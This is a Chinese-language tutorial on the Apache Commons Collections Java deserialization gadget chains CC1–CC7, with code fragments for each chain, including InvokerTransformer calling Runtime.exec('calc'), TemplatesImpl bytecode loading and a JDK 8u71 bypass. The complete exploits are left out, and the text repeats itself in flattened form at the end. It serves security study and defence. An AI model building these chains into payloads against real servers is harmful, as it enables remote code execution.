java反序列化CC1-CC7的调试解析
字数 1828 2025-08-20 18:17:59

Java反序列化漏洞利用链(CC1-CC7)调试解析

概述

本文详细解析了Apache Commons Collections库中存在的反序列化漏洞利用链(CC1-CC7),包括各条链的构造原理、调试过程以及实际利用方法。这些漏洞利用链利用了Java反序列化机制和Apache Commons Collections库中的特定类和方法,通过精心构造的序列化数据实现远程代码执行。

CC1链分析

核心原理

CC1链的核心是利用InvokerTransformer类的transform方法进行反射调用:

public Object transform(Object input) {
    if (input == null) {
        return null;
    } else {
        try {
            Class<?> cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        }
        // ...
    }
}

利用步骤

  1. 构造命令执行
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", 
    new Class[]{String.class}, new Object[]{"calc"});
invokerTransformer.transform(runtime);
  1. 寻找调用链

    • TransformedMap.checkSetValue调用了transform
    • AbstractInputCheckedMapDecorator.setValue触发checkSetValue
    • 通过遍历Map触发setValue
  2. 完整利用链

Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", 
    new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap<>();
map.put("a",1);
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
for(Map.Entry entry:transformedMap.entrySet()) {
    entry.setValue(runtime);
}
  1. 解决Runtime不可序列化问题
    使用ChainedTransformerConstantTransformer构造调用链:
Transformer[] Transformer = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[]{String.class, Class[].class}, 
        new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", 
        new Class[]{Object.class, Object[].class}, 
        new Object[]{null, null}),
    new InvokerTransformer("exec", 
        new Class[]{String.class}, 
        new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(Transformer);
  1. 最终EXP
// 完整代码见原文

关键点

  • 需要将Map的key设置为注解类的属性名(如"value")
  • JDK 8u71之后修复了AnnotationInvocationHandlerreadObject方法

CC1_LazyMap变种

核心差异

使用LazyMap代替TransformedMap,利用动态代理触发get方法调用。

利用步骤

  1. 构造LazyMap
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
  1. 创建动态代理
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler)constructor.newInstance(Target.class,lazyMap);
Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),
    new Class[]{Map.class}, invocationHandler);
  1. 最终EXP
// 完整代码见原文

CC6链分析

适用场景

针对JDK 8u71及以上版本,绕过AnnotationInvocationHandler修复。

核心原理

利用TiedMapEntrygetValue调用map.get(),通过hashCode()触发:

public int hashCode() {
    Object value = getValue();
    return (getKey() == null ? 0 : getKey().hashCode()) ^
           (value == null ? 0 : value.hashCode()); 
}

利用步骤

  1. 构造调用链
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"keykey");
HashMap<Object,Object> ser_map = new HashMap();
ser_map.put(tiedMapEntry,"value");
  1. 解决提前触发问题
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
// ...
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(chainedTransformer, Transformer);
lazyMap.remove("keykey");
  1. 最终EXP
// 完整代码见原文

无数组改造版

利用加载字节码方式:

TemplatesImpl templates = new TemplatesImpl();
// 设置_bytecodes等字段
Transformer transformer = new InvokerTransformer("toString", null, null);
// ...
Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
iMethodName.setAccessible(true);
iMethodName.set(transformer,"newTransformer");

CC3链分析

核心原理

利用TemplatesImpl类加载字节码实现命令执行。

关键方法

  1. defineTransletClasses()调用defineClass()
  2. getTransletInstance()调用defineTransletClasses()
  3. newTransformer()调用getTransletInstance()

利用步骤

  1. 设置TemplatesImpl属性
TemplatesImpl tmpl = new TemplatesImpl();
Field namefeld = clazz.getDeclaredField("_name");
namefeld.setAccessible(true);
namefeld.set(tmpl,"aaa");
Field bytefeld = clazz.getDeclaredField("_bytecodes");
bytefeld.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("恶意类路径"));
byte[][] bytecodes = {code};
bytefeld.set(tmpl,bytecodes);
  1. 恶意类要求
    必须继承AbstractTranslet
public class test extends AbstractTranslet {
    static {
        // 恶意代码
    }
    // 必须实现的方法
}
  1. 两种调用方式

    • 直接反射调用newTransformer
    • 通过TrAXFilter构造方法触发
  2. 最终EXP

// 完整代码见原文

CC2链分析

核心原理

利用PriorityQueue触发TransformingComparator.compare()调用transform()

利用步骤

  1. 构造调用链
Comparator comparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);
  1. 最终EXP
// 完整代码见原文

无数组改造版

PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(templates);
queue.add(templates);
setFieldValue(transformer, "iMethodName", "newTransformer");

CC4链分析

核心原理

结合CC2的入口和CC3的TrAXFilter加载字节码方式。

最终EXP

// 完整代码见原文

CC5链分析

核心原理

利用BadAttributeValueExpExceptionreadObject触发toString

利用步骤

  1. 构造调用链
BadAttributeValueExpException obj = new BadAttributeValueExpException(null);
Field val = obj.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(obj,tiedMapEntry);
  1. 最终EXP
// 完整代码见原文

CC7链分析

核心原理

利用Hashtable触发LazyMap的调用链。

利用步骤

  1. 构造两个LazyMap
Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);
Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
  1. 放入Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1,1);
hashtable.put(lazyMap2,2);
  1. 最终EXP
// 完整代码见原文

总结

  1. 核心思路:利用Java反序列化机制和Apache Commons Collections中的可序列化类构造调用链
  2. 关键类
    • InvokerTransformer:反射调用任意方法
    • ChainedTransformer:链式调用多个Transformer
    • TransformedMap/LazyMap:触发transform/get调用
    • TemplatesImpl:加载字节码实现命令执行
  3. 适用场景
    • CC1/CC1_LazyMap:低版本JDK
    • CC6:高版本JDK绕过
    • CC3/CC4:字节码加载方式
    • CC5/CC7:特殊入口点利用

通过深入理解这些利用链的构造原理,可以帮助安全研究人员更好地分析Java反序列化漏洞,并开发相应的防护措施。

Java反序列化漏洞利用链(CC1-CC7)调试解析 概述 本文详细解析了Apache Commons Collections库中存在的反序列化漏洞利用链(CC1-CC7),包括各条链的构造原理、调试过程以及实际利用方法。这些漏洞利用链利用了Java反序列化机制和Apache Commons Collections库中的特定类和方法,通过精心构造的序列化数据实现远程代码执行。 CC1链分析 核心原理 CC1链的核心是利用 InvokerTransformer 类的 transform 方法进行反射调用: 利用步骤 构造命令执行 : 寻找调用链 : TransformedMap.checkSetValue 调用了 transform AbstractInputCheckedMapDecorator.setValue 触发 checkSetValue 通过遍历Map触发 setValue 完整利用链 : 解决Runtime不可序列化问题 : 使用 ChainedTransformer 和 ConstantTransformer 构造调用链: 最终EXP : 关键点 需要将Map的key设置为注解类的属性名(如"value") JDK 8u71之后修复了 AnnotationInvocationHandler 的 readObject 方法 CC1_ LazyMap变种 核心差异 使用 LazyMap 代替 TransformedMap ,利用动态代理触发 get 方法调用。 利用步骤 构造LazyMap : 创建动态代理 : 最终EXP : CC6链分析 适用场景 针对JDK 8u71及以上版本,绕过 AnnotationInvocationHandler 修复。 核心原理 利用 TiedMapEntry 的 getValue 调用 map.get() ,通过 hashCode() 触发: 利用步骤 构造调用链 : 解决提前触发问题 : 最终EXP : 无数组改造版 利用加载字节码方式: CC3链分析 核心原理 利用 TemplatesImpl 类加载字节码实现命令执行。 关键方法 defineTransletClasses() 调用 defineClass() getTransletInstance() 调用 defineTransletClasses() newTransformer() 调用 getTransletInstance() 利用步骤 设置TemplatesImpl属性 : 恶意类要求 : 必须继承 AbstractTranslet : 两种调用方式 : 直接反射调用 newTransformer 通过 TrAXFilter 构造方法触发 最终EXP : CC2链分析 核心原理 利用 PriorityQueue 触发 TransformingComparator.compare() 调用 transform() 。 利用步骤 构造调用链 : 最终EXP : 无数组改造版 CC4链分析 核心原理 结合CC2的入口和CC3的 TrAXFilter 加载字节码方式。 最终EXP CC5链分析 核心原理 利用 BadAttributeValueExpException 的 readObject 触发 toString 。 利用步骤 构造调用链 : 最终EXP : CC7链分析 核心原理 利用 Hashtable 触发 LazyMap 的调用链。 利用步骤 构造两个LazyMap : 放入Hashtable : 最终EXP : 总结 核心思路 :利用Java反序列化机制和Apache Commons Collections中的可序列化类构造调用链 关键类 : InvokerTransformer :反射调用任意方法 ChainedTransformer :链式调用多个Transformer TransformedMap / LazyMap :触发transform/get调用 TemplatesImpl :加载字节码实现命令执行 适用场景 : CC1/CC1_ LazyMap:低版本JDK CC6:高版本JDK绕过 CC3/CC4:字节码加载方式 CC5/CC7:特殊入口点利用 通过深入理解这些利用链的构造原理,可以帮助安全研究人员更好地分析Java反序列化漏洞,并开发相应的防护措施。